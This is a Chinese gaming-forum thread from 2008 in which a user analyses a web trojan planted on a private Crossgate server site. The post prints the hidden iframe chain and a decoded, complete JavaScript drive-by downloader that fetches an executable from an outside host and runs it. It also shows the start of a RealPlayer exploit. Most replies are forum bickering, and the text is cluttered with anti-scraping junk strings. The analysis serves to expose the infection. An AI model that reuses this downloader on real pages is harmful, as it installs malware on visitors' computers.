妖城在线论坛 - Powered by Discuz! Board

标题: [讨论] cg23分析 [打印本页]

作者: 黄昏 时间: 2008-2-4 21:47 标题: cg23分析

Host: www.cg23.cn
Content-Location: http://www.cg23.cn/Index.htm
--src

<script language="JavaScript" type="text/JavaScript" src="http://news.baidu.com/ns?word=title%3A%C4%A7%C1%A6%B1%A6%B1%B4&tn=newsfcu&from=news&cl=2&rn=25&ct=0"></script>
--百度新闻-魔力宝贝

http://wpa.qq.com/pa?p=1:******************bbs.mocwww.com& U# N5 ]" V: ^- D6 q
10数个魔力技术顾问的QQ链接

<script src="javascript/jf.js" type="text/javascript"></script>
//模仿语言包式的简繁转换功能插件！—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート3 k, u4 e1 M: _7 i
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート0 C3 r# Z' Q0 `
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1326170.js"></script>
51.la流量统计妖城在线论坛: j- \: g& G) A* t" d' d/ b

<script src='http://s71.cnzz.com/stat.php?id=722391&web_id=722391&online=2' language='JavaScript' charset='gb2312'></script>
cnzz流量统计bbs.mocwww.com# i7 P/ s* M% f  `% L
, I* C* m" R8 \! s/ _8 }! K
<script language="javascript" src="http://count36.51yes.com/click.aspx?id=361527223&logo=12"></script>
51YES网站统计
魔力私服,最新魔力宝贝私服技术交流3 _8 n$ P% Q! L6 }/ W
<iframe src=http://1.100190.com/1.htm?6 width=50 height=0></iframe></a>妖城在线论坛3 q# e8 f( ]$ j4 V# G) `
下面是1.htm的内容魔力私服,最新魔力宝贝私服技术交流# ]5 Z1 o0 H, l6 K  u# _
[<iframe src=http://1.100190.com/d/d.htm width=100 height=100></iframe>魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表* A, J9 X( o: }: P
<iframe src=http://1.100190.com/d/06014.htm width=100 height=100></iframe>bbs.mocwww.com- k3 K8 c3 c4 S
<iframe src=http://1.100190.com/d/real.htm width=100 height=100></iframe>
这里是重点了—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート( w# t4 F2 N) L1 E
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1586580.js"></script>
51.la流量统计妖城在线论坛) Y3 ]+ j$ t7 ~4 R
]
闲来无事，给大家分析一下吧魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表& z. F" f$ [4 t" M3 Z0 `
06014.htm 看名字好像是蛮老的那个溢出洞洞
解码后
<script>var fuck,cike;fuck="http://1.111281.com/down.exe";cike="cike.com";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",fuck,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(cike,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shellexecute(cike,"","","open",0);}catch(e){};</script>魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表: N' t  D5 u, r" P" h2 i
貌似是个下载者饿，打包了，大家没事研究研究我就跳过了……—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート" R% P3 d# ?8 z* ~0 b2 A

d.htm 解码之
<iframe style=display:none src="http://1.100190.com/d/bf.htm"></iframe>
呜呜，我们继续
空文件，可能是后备用的吧魔力私服,最新魔力宝贝私服技术交流8 f6 c+ _: m- z; Y( J! P
bbs.mocwww.com+ I7 ?0 m# j4 D" N6 Q& ]* I
real.htm 看名字可能根播放器的oday有关7 G0 L+ {$ U7 N! c
解码之——bbs.mocwww.com$ F$ p3 b8 T3 {" o6 m! y1 W
function RealExploit(){afdsffffasdf="flsdajflasdjfl32rewr231ffas";var ……bbs.mocwww.com9 Y* ^$ A( W9 r- R
恩，查资料得知为机器狗病毒，不过不玩这个不大懂妖城在线论坛3 R' e0 O0 Q& y
好了，确定是网马，至于效果如何，反正我没中招……—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート7 O' p' O* J* I  L9 `2 c
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表: d+ O" i8 A* J$ b8 t6 [! I
就酱子吧，很多防护不好的网站都会被人挂马，希望cde尽快处理，我对其人没有任何恶意的，大家不要有事没事就对他妄加否定，妖城在线论坛# ]  r3 Y$ H$ p( Y% E( P2 `. g, b
想想人家辛辛苦苦为了什么那？开那么多群，没说过收费什么的吧？有知道的东西就共享出来也没见藏着掖着吧？
紫薇剑是谁我不晓得，魔力私服,最新魔力宝贝私服技术交流' @5 l8 c- ]1 ?/ v: ?7 d, K3 I% X/ ^
但是cg23的ange我还是打过交道的……
魔力私服,最新魔力宝贝私服技术交流* R5 I! d- }! M" X1 t; I
<param name="URL" value="http://www.jdzblog.com/uploadfiles/2007-3/327162852.mp3">
最后给大家附个音乐深吸一口气，放松一下，没什么大不了的……

[ 本帖最后由 myzz01 于 2008-2-4 21:53 编辑 ]

作者: FGMAX 时间: 2008-2-4 21:49

那个是内嵌的JS调用溢出马.很老的一种了..魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表" k( G6 G7 F3 s; A8 O7 S
LS的兄弟我劝你..魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表0 ~& r8 h; n& c8 I& b
搞CG,不知道紫薇剑,就和中国人不知道毛泽东一样.) w- ?5 t# G0 B: Y$ H
你没资格说内些话..

作者: FGMAX 时间: 2008-2-4 21:50

开那么多群.从来没说过话.bbs.mocwww.com0 D8 P) a! Z( A* W# B1 B& T$ E0 O5 m1 n
和某XXOO反挂不一样?—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート4 V+ r, U) n( S$ d$ ~8 C
技术群一大堆.问问题没见回.
一买他东西积极的很.bbs.mocwww.com, ~: @3 s/ w0 G0 {; D" f; o: U9 B5 O
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート, e1 c2 _4 z; N A6 _

: i; m' ?* ]* q) a! n. Y
他现在扔出来的东西都是别人淘汰的.
也不知道谁抱着一套所谓的反挂,还当宝咧..

作者: 厶⒉姙⒈ 时间: 2008-2-4 21:58

这样啊··

作者: 黄昏 时间: 2008-2-4 21:59

那个  资格不晓得要怎么赚取 …… :-)  是不是当中国人只要知道毛泽东就具备中国人的血统了？估计某些知道老毛的小日本要雀跃了……
血统是与生俱来的，根毛泽东关系不大，我的资格仿佛也根我知道不知道紫薇剑关系不大吧？魔力私服,最新魔力宝贝私服技术交流5 Z8 ?: n& H# m0 p' P9 D
我喜欢根海星兄妖哥小男这样说话爽快的人交流，至于不从技术方面讨论问题而专门搞人事鉴定的……  不是很感冒……bbs.mocwww.com8 h0 {' b+ q6 d5 o3 d
(*^__^*) 随便说说拉 ange真的打了很久叫道的从我开始研究魔力（快1个月了）没事都会在QQ上交流下的 ——感觉人有点迷糊但是没有什么坏心眼吧？; ?( f1 _0 t" b1 X
至于FGMAX ：）我可是加你QQ拜师的哦可惜你不回复…… 唉  要不现在收下我吧？

作者: FGMAX 时间: 2008-2-4 22:08

我，大家都知道，对话不对人。
要是惹着你了就当别在意。

加我人太多，每天问问题人也太多。
不能一一照料。妖城在线论坛" Y0 F% B0 D |9 T/ Z
魔力私服,最新魔力宝贝私服技术交流# |& X1 k' {4 s9 |9 J$ u7 Y4 x
我就收了一个徒弟，晨曦。bbs.mocwww.com w" {6 ^# `1 h F3 N H& F

以后有需要就说，知道肯定告你。

作者: 黄昏 时间: 2008-2-4 22:28

引用:

原帖由 FGMAX 于 2008-2-4 22:08 发表
我，大家都知道，对话不对人。
要是惹着你了就当别在意。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート' |/ p0 M, t7 C- Q0 G
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート. D! W' R3 W! M& `$ x P
加我人太多，每天问问题人也太多。
不能一一照料。bbs.mocwww.com6 g: H, A/ q: T' Q6 K& }
5 S) M4 \/ @0 z9 ?/ W1 O/ Z7 C0 G
我就收了一个徒弟，晨曦。—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート. ?7 a& j: D) e2 M) I6 e6 m( P

6 B7 \- r& W9 M以后有需要就说，知道肯定告你。

—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート' L& D( J* X* Z
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表# _! j2 n* e9 @/ j
：）交个朋友一起交流饿 …… 我去想办法看懂魔力封包处理部分的代码去…… 想学的东西太多时间太少一动就该睡觉了……郁闷　ＨＯＨＯ　　晚上见……

作者: 31558770a 时间: 2008-2-4 22:38

回家前上来看看

作者: itsong 时间: 2008-2-4 22:45

RealPlayer 的溢出漏洞,打完RealPlayer溢出补丁的不会中.

作者: ｋ|尛水 时间: 2008-2-4 22:53

RealPlayer 不装呢- -

作者: healcs01 时间: 2008-2-5 08:54

CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问我日

作者: 黄昏 时间: 2008-2-5 09:50

引用:

原帖由 ?ｋ|尛水 于 2008-2-4 22:53 发表
RealPlayer 不装呢- -

妖城在线论坛, }, s. x+ O2 g2 N. {2 o
不装当然就中不了real的0day了，不过其他溢出漏洞不胜枚举，而且就算不中马，被挂马的站访问起来也会很慢…… 经常访问很容易体会出区别…… 中木马也一样你要经常使用电脑就会有手感的当机器中木马病毒什么的你就会感觉不顺手了……

作者: xuyaoxy 时间: 2008-2-5 10:49

呵呵...real我就没装过~~呵呵..

作者: 易凡 时间: 2008-2-6 13:41

我问问无双，是被人挂了还是自己搞的……。它那站流量也没多少，应该不至于坏自己的名声做这种事。

现在有马是事实了

作者: 囡囡 时间: 2008-2-6 15:25

没说过收费?那他的高级群谁出的QB,你也不想想

作者: FGMAX 时间: 2008-2-6 16:38

引用:

原帖由 healcs01 于 2008-2-5 08:54 发表 —魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート5 W% E* T! ?% h' E1 E1 V7 r
CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问我日

  不知道有没有我们…魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表) F8 }+ y& }" k! U4 W
            反正最近莫名其妙地很多人问问题…
            替他们卖命…还有人很喜欢无双…`？
bbs.mocwww.com! T8 }& u  N- @+ T

欢迎光临妖城在线论坛 (http://bbs.mocwww.com/)